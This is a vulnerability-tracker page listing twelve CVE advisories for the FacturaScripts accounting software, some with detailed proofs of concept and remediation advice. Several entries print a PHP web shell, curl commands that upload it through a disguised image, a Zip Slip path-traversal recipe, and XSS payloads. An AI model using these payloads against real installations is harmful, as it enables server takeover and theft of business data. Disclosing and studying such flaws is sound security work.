VYPR

Facturascripts

Sign in to watch

by Neorazorx

Source repositories

CVEs (12)

CVESevRiskCVSSEPSSKEVPublishedDescription
CVE-2026-27891hig0.45——May 7, 2026### Summary A Critical vulnerability exists in the `Plugins::add()` function. The system fails to properly validate the file paths within uploaded ZIP archives. This allows an attacker to perform a Zip Slip attack, leading to Arbitrary File Write and Remote Code Execution (RCE) by overwriting sensitive .php files outside the designated plugins directory. ### Details The vulnerability is located in Plugins.php. While the `testZipFile` function attempts to validate that the ZIP contains only one root folder, it does not sanitize or validate the individual file paths within that folder. ```js // Vulnerable logic in Plugins.php for ($index = 0; $index < $zipFile->numFiles; $index++) { $data = $zipFile->statIndex($index); $path = explode('/', $data['name']); if (count($path) > 1) { $folders[$path[0]] = $path[0]; } } ``` An attacker can bypass this check by naming a file `ValidPluginName/../../shell.php`. The explode function will see ValidPluginName as the root folder, satisfying the `count($folders) != 1` check. However, during extraction, the `../../` sequence triggers a path traversal, allowing the file to be written anywhere the web server has permissions the root directory. ### PoC Prepare Malicious ZIP: Use a tool (like evilarc) or a script to create a ZIP file where one of the entries is named: `MyPlugin/../../rce.php` Inject Payload: Inside rce.php, put a simple shell: `<?php system($_GET['cmd']); ?>` Upload: Navigate to the "Add Plugin" section in FacturaScripts and upload the malicious ZIP. Execution: Access the shell via https://target.com/rce.php?cmd=whoami. ### Impact Confidentiality: High (Attacker can read all database configs and files). Integrity: High (Attacker can modify any file on the server). Availability: High (Attacker can delete the entire installation). > https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-27891.md
CVE-2026-32699Med0.34—0.00May 5, 2026FacturaScripts is an open source accounting and invoicing software. In versions 2025.92 and earlier, the application fails to validate the nick parameter during a POST request to the EditUser controller. Although the user interface prevents editing this field, a user can bypass this restriction by intercepting the request and modifying the nick form-data parameter to rename any account, including the administrator account. This leads to unauthorized modification of a field intended to be immutable.
CVE-2026-42879med0.26——May 7, 2026# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass ## Summary An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. --- ## Details The vulnerability exists in: `Core/Lib/ExtendedController/ProductImagesTrait.php` Specifically in the `addImageAction()` method. ### Vulnerable Code ```php if (false === strpos($uploadFile->getMimeType(), 'image/')) { Tools::log()->error('file-not-supported'); continue; } $folder = Tools::folder('MyFiles'); Tools::folderCheckOrCreate($folder); $uploadFile->move($folder, $uploadFile->getClientOriginalName()); ``` ### Root Cause - The validation only checks if MIME type contains `"image/"` - This can be bypassed by prepending **GIF89a magic bytes** to a PHP file - The system incorrectly identifies the file as `image/gif` - The file is saved with a `.php` extension in a web-accessible directory ### File Storage Behavior Uploaded files are stored in: ``` /MyFiles/YYYY/MM/X.php ``` Where `X` is an auto-incrementing ID. This allows direct remote execution: ``` http://target/MyFiles/2026/03/2.php?cmd=id ``` --- ## Impact Successful exploitation: An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation. --- ## Proof of Concept (Manual) ### Step 1: Create malicious file ```bash cat > shell.jpg.php << 'EOF' GIF89a <?php system($_GET['cmd']); ?> EOF ``` ### Step 2: Authenticate - Login to the application - Extract `PHPSESSID` from browser cookies ### Step 3: Get CSRF token ```bash curl -s "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4 ``` ### Step 4: Upload shell ```bash curl -X POST "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ -F "multireqtoken=YOUR_CSRF_TOKEN" \ -F "action=add-image" \ -F "activetab=EditProductoImagen" \ -F "idproducto=3" \ -F "newfiles[]=@shell.jpg.php" ``` ### Step 5: Execute command ```bash curl "http://target/MyFiles/2026/03/2.php?cmd=id" ``` --- ## Affected Products | Field | Value | |---|---| | Ecosystem | Packagist | | CVE ID | CVE-2026-42879 | | Package Name | `facturascripts/facturascripts` | | Affected Versions | <= 2025.81 | | Patched Versions | Not yet patched | | Fixed in | Pending | --- ## Remediation Recommendations 1. **Validate file extension** — reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type 2. **Re-generate filenames on the server** — never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension 3. **Store uploads outside the webroot** — serve files through a controller that streams content, preventing direct URL execution 4. **Use a file type library** — validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME ## Credits - **Discoverer**: Abdullah Alwasabei / Guzrex
CVE-2026-42878med0.26——May 7, 2026### Summary An unauthenticated information disclosure vulnerability in the Installer controller allows any remote attacker to trigger phpinfo() on a fresh FacturaScripts deployment by requesting /?phpinfo=TRUE, exposing full PHP configuration, server environment variables (including any database credentials, API keys, or application secrets set as env vars), filesystem paths, and loaded extensions without being authenticated. ### Details The phpinfo() debug endpoint was intentionally added in commit 8c31c106 ("Added phpinfo option to the installer") on February 27, 2018, and has remained in the codebase for over 8 years across multiple major versions. The feature appears to have been added as a convenience tool to help users diagnose PHP configuration during installation. However, it exposes sensitive server information to any unauthenticated attacker who knows the parameter. Vulnerable code (Core/Controller/Installer.php ~line 115): if ('TRUE' === $this->request->query('phpinfo', '')) { phpinfo(); return; } This vulnerability is of the same class as CVE-2025-34081 (CONPROSYS HMI System unauthenticated phpinfo() exposure), which received a CVE assignment. Introduced: commit 8c31c1060581ad6ad591c7689da3a8df8a29f486 (Feb 27 2018) Still present: v2026-39-g262e79208 (confirmed April 2026) ### PoC Prerequisites: Fresh FacturaScripts deployment where installation has not yet been completed (config.php does not contain db_name). Step 1 — Clone and serve the application: git clone https://github.com/NeoRazorX/facturascripts cd facturascripts php -S localhost:8000 Step 2 — Send the following unauthenticated GET request: GET /?phpinfo=TRUE HTTP/1.1 Host: localhost:8000 Step 3 — Observe full phpinfo() output returned (20+ pages) containing: - Complete PHP configuration - All server environment variables - Filesystem paths - Loaded extensions and versions - HTTP request headers No credentials, cookies, or prior interaction required. Tested on: PHP 8.1.34, macOS, fresh clone with no configuration applied. Proof of concept screenshot/PDF available. ### Impact Vulnerability type: Unauthenticated Information Disclosure (CWE-200) Any unauthenticated remote attacker who can reach a freshly deployed FacturaScripts instance before installation is completed can retrieve the full PHP environment. On production deployments this includes: - Database credentials (DB_PASSWORD, DB_USER) if set as environment variables - Application secrets (APP_KEY, JWT secrets) if set as environment variables - Cloud provider credentials (AWS_SECRET_ACCESS_KEY, etc.) if present - Full server filesystem paths enabling targeted path traversal attempts - Exact PHP version and loaded extensions enabling version-specific attacks - All HTTP headers revealing internal infrastructure details - Database connection configuration (mysqli default socket, PDO drivers) - Exact PHP version enabling version-specific CVE targeting (PHP 8.1.34) Fresh deployments are commonly left unconfigured for extended periods on shared hosting and cloud environments, making this window reliably exploitable in real-world scenarios. Fix: Remove lines 115-118 from Core/Controller/Installer.php: if ('TRUE' === $this->request->query('phpinfo', '')) { phpinfo(); return; }
CVE-2026-42877med0.26——May 7, 2026## Summary A stored Cross-Site Scripting (XSS) vulnerability exists in the product search modal of sales and purchases documents. An authenticated user with access to the warehouse module can create a product with a malicious reference that executes arbitrary JavaScript in the browser of any other user who opens the product search modal inside an invoice, order, or delivery note. ## Affected files - `Core/Lib/AjaxForms/SalesModalHTML.php` - `Core/Lib/AjaxForms/PurchasesModalHTML.php` ## Vulnerability details The `referencia` field of a product variant is injected directly into an HTML `onclick` attribute string without JavaScript context escaping: ```php // SalesModalHTML.php ~line 102 $tbody .= '<tr onclick="return salesFormAction(\'add-product\', \'' . $row['referencia'] // no htmlspecialchars() applied . '\');">'; ``` When a product is saved, `noHtml()` encodes `'` → `&#39;`. This appears safe in static HTML context. However, the modal HTML is later returned as a JSON response and inserted into the DOM via `innerHTML`: ```javascript // SalesDocument.html.twig line 118 document.getElementById("findProductList").innerHTML = data.products; ``` The browser HTML parser decodes `&#39;` → `'` during the `innerHTML` assignment, breaking out of the JavaScript string literal in the `onclick` attribute and executing the injected code. **Attack payload stored in database:** `x&#39;+alert(1)+&#39;` **Resulting `onclick` after `innerHTML` decode:** ```javascript return salesFormAction('add-product', 'x'+alert(1)+'') // ^^^^^^^^^^ executes before the function call ``` ## Steps to reproduce **Step 1 — Inject the payload** 1. Log in as a user with write access to Warehouse → Products 2. Navigate to `/EditProducto` and create a new product with the following values: | Field | Value | |---|---| | Reference | `x'+alert(1)+'` | | Description | `test` | 3. Save the product **Step 2 — Trigger the XSS** 1. Make sure at least one customer exists in the system (Sales → Customers) 2. Navigate to `/EditFacturaCliente?codcliente=<customer_code>` 3. In the invoice form, click the product search button next to the "Referencia" field 4. Click on the 'malicious' product `alert(1)` <img width="1162" height="536" alt="image" src="https://github.com/user-attachments/assets/aaa2879e-c1fb-4af9-8501-bac03ca24ffe" /> ## Impact Although session cookies (`fsLogkey`, `fsNick`) have the `HttpOnly` flag set and cannot be read directly via `document.cookie`, the injected script runs in the victim's authenticated browser context, meaning the attacker can make arbitrary authenticated requests on their behalf, create new admin users via AJAX POST to `/EditUser`, exfiltrate any business data visible in the DOM, or redirect the user to an external site. The most critical scenario is privilege escalation: a low-privilege employee with only warehouse access can execute JavaScript in an administrator's session without knowing their password. ## Recommended fix Apply `htmlspecialchars()` with `ENT_QUOTES` before inserting `referencia` into the `onclick` attribute in both affected files. **`Core/Lib/AjaxForms/SalesModalHTML.php`** ```php // Before (vulnerable): $tbody .= '<tr onclick="return salesFormAction(\'add-product\', \'' . $row['referencia'] . '\');">'; // After (safe): $tbody .= '<tr onclick="return salesFormAction(\'add-product\', \'' . htmlspecialchars($row['referencia'], ENT_QUOTES, 'UTF-8') . '\');">'; ``` **`Core/Lib/AjaxForms/PurchasesModalHTML.php`** Apply the same change to the equivalent line. **Why `ENT_QUOTES` is required:** `ENT_QUOTES` encodes both `"` and `'` characters. This ensures that `'` is stored as `&#39;` and — critically — remains `&#39;` after `innerHTML` assignment, because `htmlspecialchars` produces a form that the HTML parser does not decode back into a raw quote inside a JS string context. **Alternative mitigation:** replace `innerHTML` with `innerText` or a DOM-based rendering approach that never parses injected strings as HTML. This would eliminate the entire class of HTML-injection-via-innerHTML vulnerabilities in the sales and purchases forms. ## Credits Omar Ramirez
CVE-2026-27892med0.26——May 7, 2026## Summary **Fectura Scripts** is an open-source ERP application, a **sensitive information disclosure vulnerability** was identified in the **Library** module's image upload and download pipeline. The application fails to strip EXIF and other embedded metadata from user-uploaded image files before storing them and serving them for download. As a result, any authenticated user who downloads an image from the Library can extract the original uploader's **GPS coordinates, device information, timestamps, embedded comments/notes, thumbnail previews, and other personally identifiable information (PII)** preserved in the image metadata. This vulnerability carries significant real-world impact: **an employee uploading a photo taken at their home inadvertently discloses their precise home address to every user with Library download access.** --- ## Affected Functionality Overview Fectura Scripts exposes image upload capabilities across several modules (e.g., email composition, profile settings, etc.). During testing, the **Library section** was identified as the only module that provides: - **Full image upload** (unrestricted image types observed) - **Persistent storage** of uploaded files - **Direct download** capability for any authenticated user with access - **No server-side metadata sanitization** at any point in the pipeline (upload, storage, or delivery) Other modules (e.g., email attachments) were also tested but either did not render images or had limited upload/download exposure. --- ## Technical Background ### What Is EXIF/Image Metadata? Most modern image formats (JPEG, TIFF, PNG with ancillary chunks, HEIC, WebP with XMP) embed metadata automatically at creation time. This metadata can include: | Metadata Category | Example Fields | Privacy Risk | |---|---|---| | **GPS / Geolocation** | GPSLatitude, GPSLongitude, GPSAltitude, GPSTimestamp | **Critical** — reveals exact physical location | | **Device Information** | Make, Model, Software, LensModel | Medium — device fingerprinting | | **Timestamps** | DateTimeOriginal, CreateDate, ModifyDate | Medium — behavioral profiling | | **User Comments** | UserComment, ImageDescription, XPComment, XPAuthor | **High** — may contain names, notes, PII | | **Thumbnails** | ThumbnailImage (embedded JPEG preview) | **High** — may preserve original uncropped image | | **Serial Numbers** | BodySerialNumber, LensSerialNumber, InternalSerialNumber | Medium — unique device tracking | | **Network/Software** | HostComputer, Software, ProcessingSoftware | Low–Medium — infrastructure disclosure | | **XMP / IPTC** | Creator, Rights, Description, Keywords | Medium — organizational/authorship leakage | ### Why This Matters in an ERP Context ERP platforms are used by businesses with multiple employees, contractors, clients, and sometimes external partners accessing shared resources. The **Library** module is inherently a collaborative, shared-access feature. Any image uploaded by one party is downloadable by many others — creating a **one-to-many PII exposure vector**. --- ## Step-by-Step Reproduction ### Prerequisites - A valid user account with access to the **Library** module (tested with Admin role; lower-privilege roles should also be tested) - A test image file containing rich EXIF/metadata (see Step 1) - An EXIF analysis tool: `exiftool` (CLI), or any online EXIF viewer --- ### Step 1: Prepare a Metadata-Rich Test Image Create or obtain a JPEG image with embedded GPS and descriptive metadata. You can inject test metadata using `exiftool`: ```bash exiftool \ -GPSLatitude="48.8566" \ -GPSLatitudeRef="N" \ -GPSLongitude="2.3522" \ -GPSLongitudeRef="E" \ -GPSAltitude="35" \ -UserComment="Confidential: Taken at employee home address" \ -XPAuthor="John Doe" \ -Make="Apple" \ -Model="iPhone 15 Pro Max" \ -DateTimeOriginal="2025:01:15 09:30:00" \ test_image.jpg ``` Verify metadata is present: ```bash exiftool test_image.jpg ``` Expected output should show all injected fields including GPS coordinates resolving to **Paris, France (48.8566°N, 2.3522°E)**. --- ### Step 2: Log in to Fectura Scripts 1. Navigate to the Fectura Scripts login page. 2. Authenticate with valid credentials. 3. Confirm access to the application dashboard. --- ### Step 3: Navigate to the Library Section 1. From the main navigation/sidebar, click on **"Library"** (or equivalent menu entry). 2. Confirm the Library module loads and displays existing files/images (if any). --- ### Step 4: Upload the Test Image 1. Click the **"Upload"** button/action within the Library interface. 2. Select the prepared `test_image.jpg` file. 3. Complete the upload process (fill any required fields such as title/description if prompted). 4. Confirm the image appears in the Library listing. --- ### Step 5: Download the Image (as the Same or Different User) 1. Locate the uploaded image in the Library. 2. Click the **"Download"** button/link (or right-click → Save As on the rendered image, depending on UI). 3. Save the file locally as `downloaded_image.jpg`. > **Note:** For stronger proof of impact, perform this step logged in as a **different user account** with Library access, demonstrating cross-user information leakage. --- ### Step 6: Extract and Analyze Metadata from the Downloaded File Run `exiftool` on the downloaded file: ```bash exiftool downloaded_image.jpg ``` **Observed Result (Vulnerable):** ``` GPS Latitude : 48 deg 51' 23.76" N GPS Longitude : 2 deg 21' 7.92" E GPS Altitude : 35 m GPS Position : 48.8566°N, 2.3522°E User Comment : Confidential: Taken at employee home address XP Author : John Doe Make : Apple Model : iPhone 15 Pro Max Date/Time Original : 2025:01:15 09:30:00 ... [ALL original metadata preserved in full] ``` **Expected Result (Secure):** All EXIF, XMP, IPTC, GPS, and comment fields should be **stripped or neutralized** before storage or at download time. Only essential image rendering data should remain. --- ### Step 7: Confirm GPS Resolution to Physical Location Take the extracted GPS coordinates and resolve them: ``` https://www.google.com/maps?q=48.8566,2.3522 ``` This confirms the metadata resolves to a **precise, real-world physical location** — demonstrating the severity of the leak. --- ## Root Cause Analysis The application's image upload handler in the Library module **stores the uploaded file byte-for-byte without any server-side processing to remove metadata**. The download handler then serves the identical file. At no point in the pipeline is any of the following performed: 1. **EXIF stripping** (e.g., via libraries like `Intervention Image`, `Imagick::stripImage()`, Python Pillow's `.save()` without EXIF, or `jpegtran -copy none`) 2. **Re-encoding / reprocessing** of the image (which would naturally discard non-image data) 3. **Selective metadata whitelisting** (preserving only color profile / orientation data) 4. **Content-Disposition header enforcement** to prevent inline rendering with metadata intact This is a **design-level omission** rather than a bypassable control — there is simply no metadata handling logic present. --- ## Impact Assessment ### Direct Impacts | Impact | Description | Severity | |---|---|---| | **Geolocation Disclosure** | GPS coordinates in uploaded photos can reveal home addresses, office locations, client sites, travel patterns of employees | **High** | | **PII Leakage** | Author names, comments, device owner names embedded in metadata expose personal identity | **High** | | **Device Fingerprinting** | Camera make/model, serial numbers, and software versions enable tracking and targeting of specific individuals or devices | **Medium** | | **Behavioral Profiling** | Timestamps and sequential GPS data across multiple uploads can reconstruct an individual's movements and schedule | **High** | | **Embedded Thumbnail Leakage** | Thumbnails may preserve the original uncropped image, potentially exposing content the user intentionally cropped out (documented in prior CVEs) | **Medium–High** | ### Contextual / Escalated Impacts - **Regulatory Exposure:** GPS coordinates and author names constitute **personal data** under GDPR (Art. 4(1)), CCPA, and similar frameworks. Failure to strip this data from shared/downloadable resources may constitute a **data protection violation** for organizations using Fectura Scripts. - **Insider Threat Amplification:** A malicious insider (employee, contractor) with Library download access can silently harvest geolocation and identity data of colleagues without any logging or indication to the victim. - **Physical Security Risk:** In sectors where employee physical safety is paramount (e.g., legal, law enforcement, journalism, NGOs, domestic violence support), leaking home GPS coordinates through an ERP system represents a **direct physical safety threat**. - **Supply Chain Risk:** If the Library is shared with external partners/vendors, the exposure surface extends beyond the organization. ### Why CVSS 6.5 Understates the Risk The CVSS base score of 6.5 reflects the mechanical characteristics of the vulnerability (network-accessible, low complexity, authenticated). However, the **contextual severity is higher** because: 1. Users have **no expectation** that uploading an image to an ERP system will broadcast their home coordinates. 2. The attack is **completely passive** — the attacker simply downloads a file; no exploitation toolkit or special skills are required. 3. The leaked data (GPS, PII) is **irrevocable** — once downloaded, the victim cannot "un-leak" their location. 4. The vulnerability affects **every image ever uploaded** to the Library, creating a retroactive exposure of historical data. **Recommended effective severity: HIGH for any deployment handling real employee/client data.** --- ## Recommended Remediation ### Immediate (Short-Term) | Priority | Action | |---|---| | **P0** | Implement **server-side EXIF/metadata stripping** on all image uploads in the Library module **before storage**. | | **P0** | **Retroactively strip metadata** from all existing images already stored in the Library. | | **P1** | Extend metadata stripping to **all other upload endpoints** across the application (email attachments, profile photos, product images, etc.). | ### Implementation Guidance (by Language/Stack) **PHP (likely stack for Fectura Scripts):** ```php // Using GD (built-in, no dependencies) function stripMetadata($sourcePath, $destPath) { $image = imagecreatefromjpeg($sourcePath); imagejpeg($image, $destPath, 95); // Re-encodes, discarding all EXIF imagedestroy($image); } // Using Imagick (if available) $img = new Imagick($sourcePath); $img->stripImage(); // Removes all EXIF, IPTC, XMP profiles $img->writeImage($destPath); ``` **Python:** ```python from PIL import Image img = Image.open("uploaded.jpg") data = list(img.getdata()) clean = Image.new(img.mode, img.size) clean.putdata(data) clean.save("clean.jpg") ``` **Command-line (for retroactive cleanup):** ```bash # Strip all metadata from all JPEGs in the library storage directory exiftool -all= -overwrite_original /path/to/library/uploads/*.jpg ``` ### Long-Term (Architectural) | Priority | Action | |---|---| | **P1** | Establish a **centralized file upload processing pipeline** that all modules route through, ensuring consistent sanitization. | | **P1** | Add **Content Security Policy** and `Content-Disposition: attachment` headers on all file downloads to reduce inline rendering risks. | | **P2** | Implement a configurable **metadata policy** (e.g., allow admins to choose between full strip, preserve orientation only, or preserve color profile). | | **P2** | Add **file type validation** (magic byte checking, not just extension) to the upload pipeline. | | **P3** | Consider adding a **user-facing warning** at upload time: "Note: Image metadata will be stripped for privacy." | --- ## 9. References | Resource | URL | |---|---| | CWE-200: Exposure of Sensitive Information | https://cwe.mitre.org/data/definitions/200.html | | CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer | https://cwe.mitre.org/data/definitions/212.html | | NIST NVD CVSS v3.1 Calculator | https://www.first.org/cvss/calculator/3.1 | | GDPR Art. 4(1) — Definition of Personal Data | https://gdpr-info.eu/art-4-gdpr/ | | ExifTool by Phil Harvey | https://exiftool.org/ | | Related CVE | https://nvd.nist.gov/vuln/detail/CVE-2023-29850 | --- ## 11. Conclusion The absence of image metadata sanitization in Fectura Scripts' Library module is a **clear, easily exploitable, and high-impact information disclosure vulnerability**. It requires no technical skill to exploit (just a file download and a free tool), it leaks data that users never intended to share (home GPS coordinates, personal identity), and it affects every image ever uploaded to the platform retroactively. While the CVSS base score of **6.5** categorizes this as "Medium," the real-world privacy consequences — particularly under GDPR and in contexts where physical safety is relevant — warrant treating this with **High urgency**. The fix is straightforward, well-documented, and should be implemented immediately across all upload endpoints. <img width="1920" height="1020" alt="image" src="https://github.com/user-attachments/assets/80cbdd80-fc80-45f2-b125-e0557e94ac40" /> <img width="1920" height="1020" alt="image" src="https://github.com/user-attachments/assets/53fd80bb-cd41-48d6-a9b8-3129f307bce6" />
CVE-2026-27964low0.07——May 7, 2026### Summary A Reflected Cross-Site Scripting (XSS) vulnerability exists in the fsNick cookie parameter. The application reflects the cookie's value directly into the HTML without sanitization. ### Details The fsNick cookie is rendered into the DOM without encoding. While the server does reject the modified session and forces a logout, the HTML containing the payload reaches the browser first. This lets the script execute immediately upon load, effectively beating the redirect. ### PoC 1. Log in to the application with any valid account. <img width="2078" height="302" alt="image" src="https://github.com/user-attachments/assets/d8a9a779-44e0-4a3e-839f-0a031868fbd5" /> 2. Capture any the GET request . <img width="1267" height="276" alt="image" src="https://github.com/user-attachments/assets/22e43f73-4f86-4cab-a074-7aba584a71ac" /> 3. Modify the value of "fsNick" with the following JavaScript: `<script>alert(window.origin)</script>` 4. Send the modified request. <img width="1569" height="319" alt="image" src="https://github.com/user-attachments/assets/ade88db1-aadc-4c50-9e02-d09888067e98" /> 5. Result <img width="1217" height="771" alt="image" src="https://github.com/user-attachments/assets/5858fe9f-127a-4845-b484-5a7ef4ae2cb4" /> ### Impact The payload executes before the session ends, which could potentially allow for a single unauthorized action before the logout.
CVE-2025-692100.03—0.00Dec 30, 2025FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.7, a stored cross-site scripting (XSS) vulnerability exists in the product file upload functionality. Authenticated users can upload crafted XML files containing executable JavaScript. These files are later rendered by the application without sufficient sanitization or content-type enforcement, allowing arbitrary JavaScript execution when the file is accessed. Because product files uploaded by regular users are visible to administrative users, this vulnerability can be leveraged to execute malicious JavaScript in an administrator’s browser session. Version 2025.7 fixes the issue.
CVE-2026-255130.00—0.00Feb 4, 2026FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality. This issue has been patched in version 2025.81.
CVE-2026-255140.00—0.00Feb 4, 2026FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding. This issue has been patched in version 2025.81.
CVE-2026-234760.00—0.00Feb 2, 2026FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.
CVE-2026-239970.00—0.00Feb 2, 2026FacturaScripts is open-source enterprise resource planning and accounting software. In 2025.71 and earlier, a Stored Cross-Site Scripting (XSS) vulnerability was discovered in the Observations field. The flaw occurs in the History view, where historical data is rendered without proper HTML entity encoding. This allows an attacker to execute arbitrary JavaScript in the browser of viewing the history by administrators.